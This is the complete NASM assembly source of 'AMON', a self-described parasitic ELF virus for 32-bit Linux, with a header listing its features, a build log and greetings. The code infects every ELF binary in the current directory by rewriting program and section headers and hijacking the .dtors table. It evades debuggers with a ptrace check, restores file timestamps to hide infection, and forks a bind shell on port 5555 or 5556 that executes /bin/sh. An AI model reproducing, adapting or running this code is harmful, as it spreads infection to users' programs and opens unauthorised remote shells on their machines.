;------------------------------------------------------------------------------ ; ; AMON by emp && rikenar ; ---------------------- ; ; ; ; ; ; AMON : parasitic ELF virus ; ; ; ; ; Description : ; ------------- ; ; - Infect all ELF in the current directory. ; - Full compatible with all kernel 2.2.x,2.4.x and probably with all 2.6.x. ; - Full compatible with all options of kernel security patch (PaX/grsec ...). ; - Use basic EPO technic. ; - Use basic anti debug trick. ; - Bind a shell on port 5556 if UID = 0 else bind a shell on port 5555. ; - Only 960 bytes with complete strip. ; - Restore date and time of last modification. ; ; ; ; Tested on - redhat 9.0 (kernel 2.4.20 && 2.4.21+grsec/PaX) ; - debian 3.0 (kernel 2.2.20 && 2.2.25+PaX) ; - KNOPPIX 3.2 (kernel 2.4.21) ; ; ; ; ; ; ;anonymous@neptune ~/code/amon $ cat Makefile ;all: ; @echo "-+ amon by rikenar and emp +-" ; nasm -f elf amon.asm ; cc amon.o -o amon -nostdlib ; rm -f amon.o ; ;strip: ; strip amon ; sstrip amon ; ; ;anonymous@neptune ~/code/amon $ make ;-+ amon by rikenar and emp +- ;nasm -f elf amon.asm ;cc amon.o -o amon -nostdlib ;rm -f amon.o ; ; ;anonymous@neptune ~/code/amon $ make strip ;strip amon ;sstrip amon ; ; ;anonymous@neptune ~/code/amon $ ls -l amon ;-rwx------ 1 anonymous anonymous 960 nov 7 01:48 amon ; ; ; ; ; ;greetz : people on #ioc and all our friends ; ;------------------------------------------------------------------------------ %define sys_fork 2 %define sys_read 3 %define sys_open 5 %define sys_close 6 %define sys_exec 11 %define sys_getpid 20 %define sys_getuid 24 %define sys_ptrace 26 %define sys_kill 37 %define sys_dup2 63 %define sys_mmap 90 %define sys_munmap 91 %define sys_ftruncate 93 %define sys_socket 102 %define sys_fstat 108 %define sys_getdents 141 %define PT_LOAD 01 %define O_RDWR 2 %define LISTEN 4 %define SIGKILL 9 %define ELFMAG 0x464C457F global _start section .evil _start: ;ptrace(PTRACE_TRACEME, 0, 0x1, 0) ; ; ;anti debug trick xor eax, eax cdq inc edx xor ecx, ecx xor ebx, ebx ;PTRACE_TRACEME xor esi, esi mov al, sys_ptrace int 0x80 test eax, eax ; jne NEAR byebye ;if code is traced then exit call bomb ;---------------------------------------------------------------------------- ; ; find file to infect and call the infection function push '.' mov ebx, esp call opendir ;open current directory call getdents ;list file of this directory add esp, 0x08 ;next name again: mov ebx, esp add ebx, 2 mov esi, ebx call openfile ; open file cmp ah, 0xFF ; if error on open je nextf ; find another file call verif ; test file type and infection test eax, eax ; je nextf ; find another file mov eax, sys_fstat sub esp, 0x40 mov ecx, esp int 0x80 ; file size add esp, 0x40 ; push DWORD [ecx+0x28] push DWORD [ecx+0x20] push esi ; save name of file for utime. mov ecx, [ecx+0x14] ; ecx = st_size mov esi, ecx call infection ; WAR IS ON ! xchg ebx, esi ; fd in esi. mov eax, 0x1e pop ebx mov ecx, esp int 0x80 add esp, 8 nextf: xchg esi, ebx ; fd in ebx. mov eax, sys_close int 0x80 call nextfile ; find next file test eax, eax jne again exit: byebye: xor eax, eax inc eax ; bye bye xor ebx, ebx int 0x80 ;--------------------------------------------------------------------------- ; ; infection functions infection: add ecx, 0x2000 and ecx, 0xFFFFF000 mov eax, sys_ftruncate ; size of file multiple of 0x1000 int 0x80 ; push ebx ; save fd push ecx ; push size of file for unmap call Mapping ; map file, adress of map in eax. xchg esi, ecx mov ebx, [eax+0x1c] add bx, WORD [eax+0x2a] ; phdr INTERP. mov esi, [eax+ebx+0x04] ; offset of this phdr. push esi sub ecx, esi ; size of code to move. sub esp, ecx add esi, eax mov edx, ecx mov edi, esp rep movsb ; mov esi, esp mov ecx, edx mov ebx, [eax+0x1c] add bx, WORD [eax+0x2a] mov edi, [eax+ebx+4] add edi, eax add edi, 0x1000 rep movsb add esp, edx ; call PatchSegment ; Patch segments. pop edi push eax mov ecx, edi call PatchSection ; Patch sections. pop eax mov ecx, 0x1000 add [eax+0x20], ecx ; Patch e_shoff. call delta delta: pop ebx sub ebx, delta ; delta offset. mov esi, _start add esi, ebx add ebp, edi ; ebp = adress of code add edi, eax mov ecx, fin_code - _start rep movsb ; write code. mov ebx, eax call hijackDtors ; hijack .dtors. pop ecx ; restaure the size call Demap pop ebx ; restaure fd ret ;---------------------------------------------------------------------------- ; ;in : name directory in ebx ;out : fd in eax opendir: xor eax, eax mov al, sys_open xor ecx, ecx ;O_RDONLY xor edx, edx ; int 0x80 ret ;----------------------------------------------------------------------------- ; ;in : pointer to name of file in ebx ;out : fd in ebx openfile: xor eax, eax mov al, sys_open ;open xor ecx, ecx mov cl, O_RDWR xor edx, edx int 0x80 ret ;----------------------------------------------------------------------------- ; ;in : directory fd in eax ;out : result of getdents on stack getdents: pop esi ;save ret addr sub esp, 0x10000 ;i want some place on stack xchg eax, ebx xor eax, eax mov al, sys_getdents mov ecx, esp mov edx, 0x10000 int 0x80 push esi ; ret ;----------------------------------------------------------------------------- ; ;in : file fd in eax ;out : ebx == NULL if file type false or infection true verif: xchg ebx, eax call read cmp eax, ELFMAG ;if file is not an ELF je verifsuite xor eax, eax ;eax == 0 ret ; verifsuite: ;check infection mov eax, sys_fstat sub esp, 0x40 mov ecx, esp int 0x80 add esp, 0x40 xor edx, edx mov eax, [ecx+0x14] mov ecx, 0x1000 div ecx test edx, edx ; is file align on 0x1000 ? jne notinfected ; if no file is not infected, infection FALSE xor eax, eax ; else infection TRUE notinfected: ret ;---------------------------------------------------------------------------- ; ;in : pointer of file name in esp ;out : pointer of next file name in esp nextfile: pop ebx ; save ret adress xor eax, eax mov al, [esp] ; eax = offsset next name add esp, eax ; mov al, [esp] ; push ebx ; ret ;--------------------------------------------------------------------------- ; ;in : fd in ebx ;out : result of read in eax read: xor eax, eax mov al, sys_read sub esp, 4 ; mov ecx, esp mov edx, 4 int 0x80 ; pop eax ; dword read in eax ret ;------------------------------------------------------------------------------- ; ;in : fd file in ebx ;out : pointer of map file in eax Mapping: xor edx, edx push edx push ebx inc edx push edx inc edx inc edx push edx push ecx xor eax, eax push eax mov al, sys_mmap xchg ebx, edx mov ebx, esp int 0x80 xchg ebx, edx add esp, 0x18 ret ;------------------------------------------------------------------------------- ; ;in : ecx size of mapping ;out : eax == 0 if succes Demap: xor eax, eax mov al, sys_munmap xor ebx, ebx int 0x80 ret ;------------------------------------------------------------------------------- ; ;in : ;out : PatchSegment: xor ecx, ecx mov cl, BYTE [eax+0x2c]; ecx = number of segments mov edx, [eax+0x1c] ; edx pointer to phdr add edx, eax rygo: push ecx ; mov ecx, 0x06 cmp [edx], ecx ; jne hi mov ecx, 0x1000 sub [edx+0x08], ecx sub [edx+0x0c], ecx ; patch phdr. jmp ha hi: xor ecx, ecx cmp [edx+0x04], ecx ; test if TEXT segment. jne ho mov ecx, 0x1000 sub [edx+0x08], ecx sub [edx+0x0c], ecx add [edx+0x10], ecx add [edx+0x14], ecx ; patch phdr. mov ebp, [edx+08h] ; ebp pointer to viral code jmp ha ho: mov ecx, 0x1000 add [edx+04], ecx ; add a memory segment ha: pop ecx dec ecx test ecx, ecx ; other segments ? je good ; add dl, BYTE [eax+0x2a]; if yes we go patch the other jmp rygo good: ret ;---------------------------------------------------------------------------- ; ;in : ;out : PatchSection: mov edx, [eax+0x20] add edx, eax add edx, 0x1000 ; e_shoff xor ecx, ecx mov cx, [eax+0x30] ; nbre de section. dec ecx xor esi, esi mov si, [eax+0x2E] ; e_shentsize patch: add edx, esi mov ebx, [edx+0x10] ; sh_offset add ebx, 0x1000 mov [edx+0x10], ebx loop patch ret ;----------------------------------------------------------------------------- ;in : pointer to adress of file mmaping in ebx ;out : eax == 0 if functions fail hijackDtors: ;find the sh_offset of .shstrtab(e_shentsize*e_shstrndx+e_shoff+adresse map) xor eax, eax mov ax, [ebx+0x2E] ; e_shentsize mov cl, [ebx+0x32] ; e_shstrndx on 8bits!!!(nb_section<255) mul cl ; ; add eax, [ebx+0x20] ; + e_shoff == offset shdr .shstrtab add eax, ebx ; + adress of file maping mov esi, eax add esi, 0x10 ; sh_offset of .shstrtab ;looking for .dtors in sh_name of each sections xor eax, eax mov eax, [ebx+0x20] ; offset shdr add eax, ebx ; xor ecx, ecx mov cx, [ebx+0x30] ; e_shnum mov edi, [esi] ; edi == offset .shstrtab add edi, ebx ; xor edx, edx next_shname: xor edx, edx mov dx, WORD [ebx+0x2E] add eax, edx ; next shdr (we don't read the first) mov esi, [eax] add esi, edi mov edx, [esi] cmp edx, '.dto' je dtor_finding loop next_shname xor eax, eax ; if don't find it ret ; ;find the last entry in .dtors tab, and write a new entry :) dtor_finding: mov ecx, [eax+0x10] ; sh_offset of .dtors add ecx, ebx ; + map next_dtor: add ecx, 4 ; don't check the first entry (must mov edx, [ecx] ; be 0xFFFFFFFF) cmp edx, 0 jne next_dtor mov DWORD [ecx], ebp ; offset of viral code ret ;---------------------------------------------------------------------------- ;bind a shell on port 5556 if uid = 0 else bind a shell on port 5555 bomb: xor eax, eax mov al, sys_fork ;fork the logical bomb int 0x80 test eax, eax je bindshell ; the son bind the shell ret ; the father exit bindshell: ;socket(family, type, proto) xor eax, eax cdq mov al, sys_socket push edx ; 0=IP inc edx push edx ; 1=SOCK_STREAM inc edx push edx ; 2=AF_INET mov ecx, esp push byte 1 pop ebx ; 1 -> socket int 0x80 ;bind(socket, addr, lenng) mov edi, eax cdq xor ecx, ecx mov cx, 0xB315 xor eax, eax mov al, sys_getuid int 0x80 test eax, eax ;if uid != 0 jne binduser ;goto binduser inc ch ; binduser: push edx push word cx ; port = 5556 if uid(0) else port = 5555 inc ebx push bx ; (0002 = AF_INET) mov ecx, esp ; ecx = offset sockaddr struct push byte 16 ; len push ecx ; push offset sockaddr struct push edi ; handle socket mov ecx, esp xor eax, eax mov al, sys_socket int 0x80 ;If bind fail the process send to himself a SIGKILL test eax, eax je listen xor eax, eax mov al, sys_getpid int 0x80 xchg ebx, eax xor ecx, ecx mov cl, SIGKILL xor eax, eax mov al, sys_kill int 0x80 ;listen(socket, backlog) listen: mov al, sys_socket mov bl, LISTEN int 0x80 ;accept(socket, addr, len) push eax push edi mov ecx, esp inc ebx ; 5 -> accept mov al, sys_socket int 0x80 ;dup2() dup: mov ecx, ebx mov ebx, eax dec ecx mov al, sys_dup2 int 0x80 inc ecx loop dup ;execve /bin/sh mov al, sys_exec push ecx push 0x68732f6e push 0x69622f2f mov ebx, esp push ecx push ebx mov ecx, esp int 0x80 fin_code: